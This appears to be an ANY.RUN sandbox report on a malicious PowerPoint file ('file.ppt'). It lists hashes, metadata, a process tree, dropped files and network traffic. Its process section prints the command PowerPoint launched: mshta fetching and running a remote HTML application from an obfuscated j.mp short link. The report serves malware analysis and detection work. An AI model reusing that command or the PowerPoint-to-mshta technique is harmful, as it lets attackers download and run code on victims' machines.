File name:

file.ppt

Full analysis: https://app.any.run/tasks/636b8711-c0ed-4064-9515-f8fb23777cca
Verdict: Malicious activity
Analysis date: July 02, 2023, 02:21:42
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
ppt
Indicators:
MIME: application/vnd.ms-powerpoint
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: yazeed, Keywords: maviya, Last Saved By: Master Mana, Revision Number: 4, Name of Creating Application: Microsoft Office PowerPoint, Total Editing Time: 22:02, Create Time/Date: Wed Feb 24 17:17:23 2021, Last Saved Time/Date: Wed Feb 24 17:39:25 2021, Number of Words: 0
MD5:

1DADB4C3FE45566D28B7156BE2E2AA6B

SHA1:

53FECB422D1B1663E4A9AEC9F5A3A020E818A6F9

SHA256:

0289EE3C551BA84D34AB1760D042AB420733D96DBFEDFAE9718F8EB138C3259B

SSDEEP:

1536:FslfQ+C4xIytrmsKemd8JkpuJFeOMn63nMq5Z+av1Dc3Y:FsV7rmsKemuJkpuJtE6cq5BpmY

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Unusual execution from MS Office

      • POWERPNT.EXE (PID: 3080)

  • SUSPICIOUS

    • Reads the Internet Settings

      • mshta.exe (PID: 2120)

  • INFO

    • Checks proxy server information

      • mshta.exe (PID: 2120)

    • Reads Internet Explorer settings

      • mshta.exe (PID: 2120)

    • Manual execution by a user

      • POWERPNT.EXE (PID: 2092)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.ppt | Microsoft PowerPoint document (79.7)

EXIF

FlashPix

HeadingPairs:
  • Fonts Used
  • 3
  • Theme
  • 1
  • Slide Titles
  • 0
TitleOfParts:
  • Arial
  • Calibri
  • Calibri Light
  • Office Theme
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
MMClips: -
HiddenSlides: -
Notes: -
Slides: -
Paragraphs: -
Bytes: -
PresentationTarget: Widescreen
CodePage: Windows Latin 1 (Western European)
ThumbnailClip: (Binary data 43336 bytes, use -b option to extract)
Words: -
ModifyDate: 2021:02:24 17:39:25
CreateDate: 2021:02:24 17:17:23
TotalEditTime: 22.0 minutes
Software: Microsoft Office PowerPoint
RevisionNumber: 4
LastModifiedBy: Master Mana
Keywords: maviya
Author: yazeed
Title: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
44
Monitored processes
5
Malicious processes
1
Suspicious processes
0

Behavior graph

Click at the process to see the details
start powerpnt.exe no specs mshta.exe winword.exe no specs ping.exe no specs powerpnt.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
976winwordC:\Program Files\Microsoft Office\Office14\WINWORD.EXE—POWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\program files\microsoft office\office14\winword.exe
c:\windows\system32\rpcrt4.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
2092"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\admin\Desktop\file.ppt"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft PowerPoint
Exit code:
0
Version:
14.0.6009.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\program files\microsoft office\office14\powerpnt.exe
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\program files\microsoft office\office14\ppcore.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2120mSHtA http://12384928198391823%12384928198391823@j.mp/hdkjashdkasbctdgjsaC:\Windows\System32\mshta.exe
POWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
c:\windows\system32\rpcrt4.dll
2776pingC:\Windows\System32\PING.EXE—POWERPNT.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
TCP/IP Ping Command
Exit code:
1
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\ping.exe
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\ntdll.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\nsi.dll
c:\windows\system32\winnsi.dll
3080"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE" "C:\Users\admin\Desktop\file.ppt"C:\Program Files\Microsoft Office\Office14\POWERPNT.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft PowerPoint
Exit code:
0
Version:
14.0.6009.1000
Modules
Images
c:\program files\microsoft office\office14\powerpnt.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\program files\microsoft office\office14\ppcore.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\user32.dll
c:\windows\system32\usp10.dll
Total events
7 970
Read events
7 433
Write events
397
Delete events
140

Modification events

(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
On
(PID) Process:(3080) POWERPNT.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1055
Value:
On
Executable files
1
Suspicious files
11
Text files
4
Unknown types
0

Dropped files

PID
Process
Filename
Type
3080POWERPNT.EXEC:\Users\admin\AppData\Local\Temp\CVRE9E0.tmp.cvr —
MD5:—
SHA256:—
976WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVR1499.tmp.cvr —
MD5:—
SHA256:—
2092POWERPNT.EXEC:\Users\admin\AppData\Local\Temp\CVR88DF.tmp.cvr —
MD5:—
SHA256:—
976WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmbinary
MD5:0DA6D3F37FA1419BA6615692FCF483B7
SHA256:5509E2F3DD31A31E5095AA63B1F243C6E59DE331B070BAD701494B9C8F88E208
2092POWERPNT.EXEC:\Users\admin\AppData\Local\Temp\82C88E0.tmptext
MD5:127CCD1FDF3AB21D6A55B28BA3EC2960
SHA256:D2780BB4D506DBA4DD0FB49C12C85ADA422F7CA60F38E848FA70DEE3FE2D31A4
2120mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157compressed
MD5:F7DCB24540769805E5BB30D193944DCE
SHA256:6B88C6AC55BBD6FEA0EBE5A760D1AD2CFCE251C59D0151A1400701CB927E36EA
2120mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\75CA58072B9926F763A91F0CC2798706_B5D3A17E5BEDD2EDA793611A0A74E1E8binary
MD5:841F18BF5252D4FC676AA4C63C3EEE04
SHA256:005A884F2AAA0B0A8C7D3560BDB377227B3982EA652D65795A2C0080AC04FB2F
2120mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\BAD725C80F9E10846F35D039A996E4A8_88B6AE015495C1ECC395D19C1DD02894binary
MD5:95A977187B2F5E154F19BD79D67A5E76
SHA256:5D8F4512D1CD2E6F2764CB068D074EA3DC26E33F81F55A16F4766792FD33D88A
2120mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:46B607E166D3E9CAEB59D36C80F5A421
SHA256:3B739DD7CE946EFA30513263138E95496B9FEBBE10D583841BEACEB7876F6291
2120mshta.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B66240B0F6C84BD4857ABA60CF5CE4A0_5043E0F5DF723415C9EECC201C838A62binary
MD5:677146F5A1998BBC2C8CE07B17EFB918
SHA256:E0C19CD470B104C1D11B26AFFD95FF067AE0A500DCA5EB5B4C1135830CC437FE
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
18
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
mshta.exe
GET
200
67.199.248.16:80
http://j.mp/hdkjashdkasbctdgjsa
US
html
5.40 Kb
shared
2120
mshta.exe
GET
200
52.222.250.42:80
http://ocsp.rootca1.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBRPWaOUU8%2B5VZ5%2Fa9jFTaU9pkK3FAQUhBjMhTTsvAyUlC4IWZzHshBOCggCEwdzEjgLnWaIozse2b%2BczaaODg8%3D
US
der
1.39 Kb
shared
2120
mshta.exe
GET
200
67.27.157.126:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?200ee62a7b758905
US
compressed
4.70 Kb
whitelisted
2120
mshta.exe
GET
200
52.222.250.185:80
http://ocsp.rootg2.amazontrust.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBSIfaREXmfqfJR3TkMYnD7O5MhzEgQUnF8A36oB1zArOIiiuG1KnPIRkYMCEwZ%2FlEoqJ83z%2BsKuKwH5CO65xMY%3D
US
der
1.51 Kb
whitelisted
2120
mshta.exe
GET
200
108.138.2.195:80
http://o.ss2.us//MEowSDBGMEQwQjAJBgUrDgMCGgUABBSLwZ6EW5gdYc9UaSEaaLjjETNtkAQUv1%2B30c7dH4b0W1Ws3NcQwg6piOcCCQCnDkpMNIK3fw%3D%3D
US
der
2.02 Kb
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
2904
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
2120
mshta.exe
67.199.248.17:80
j.mp
GOOGLE-CLOUD-PLATFORM
US
shared
4
System
192.168.100.255:138
—
—
—
whitelisted
2120
mshta.exe
67.199.248.16:80
j.mp
GOOGLE-CLOUD-PLATFORM
US
shared
2120
mshta.exe
67.27.157.126:80
ctldl.windowsupdate.com
LEVEL3
US
suspicious
2120
mshta.exe
52.222.206.51:443
d1ayxb9ooonjts.cloudfront.net
AMAZON-02
US
suspicious
2120
mshta.exe
108.138.2.195:80
o.ss2.us
AMAZON-02
US
unknown
2120
mshta.exe
52.222.250.185:80
ocsp.rootg2.amazontrust.com
AMAZON-02
US
whitelisted
2120
mshta.exe
8.238.30.126:80
ctldl.windowsupdate.com
LEVEL3
US
suspicious

DNS requests

Domain
IP
Reputation
j.mp
  • 67.199.248.17
  • 67.199.248.16
shared
d1ayxb9ooonjts.cloudfront.net
  • 52.222.206.51
  • 52.222.206.102
  • 52.222.206.121
  • 52.222.206.105
whitelisted
ctldl.windowsupdate.com
  • 67.27.157.126
  • 8.238.30.126
  • 67.27.233.254
  • 67.26.75.254
  • 8.248.113.254
whitelisted
o.ss2.us
  • 108.138.2.195
  • 108.138.2.10
  • 108.138.2.173
  • 108.138.2.107
whitelisted
ocsp.rootg2.amazontrust.com
  • 52.222.250.185
  • 52.222.250.174
  • 52.222.250.42
  • 52.222.250.112
whitelisted
ocsp.rootca1.amazontrust.com
  • 52.222.250.42
  • 52.222.250.112
  • 52.222.250.174
  • 52.222.250.185
shared

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
file.ppt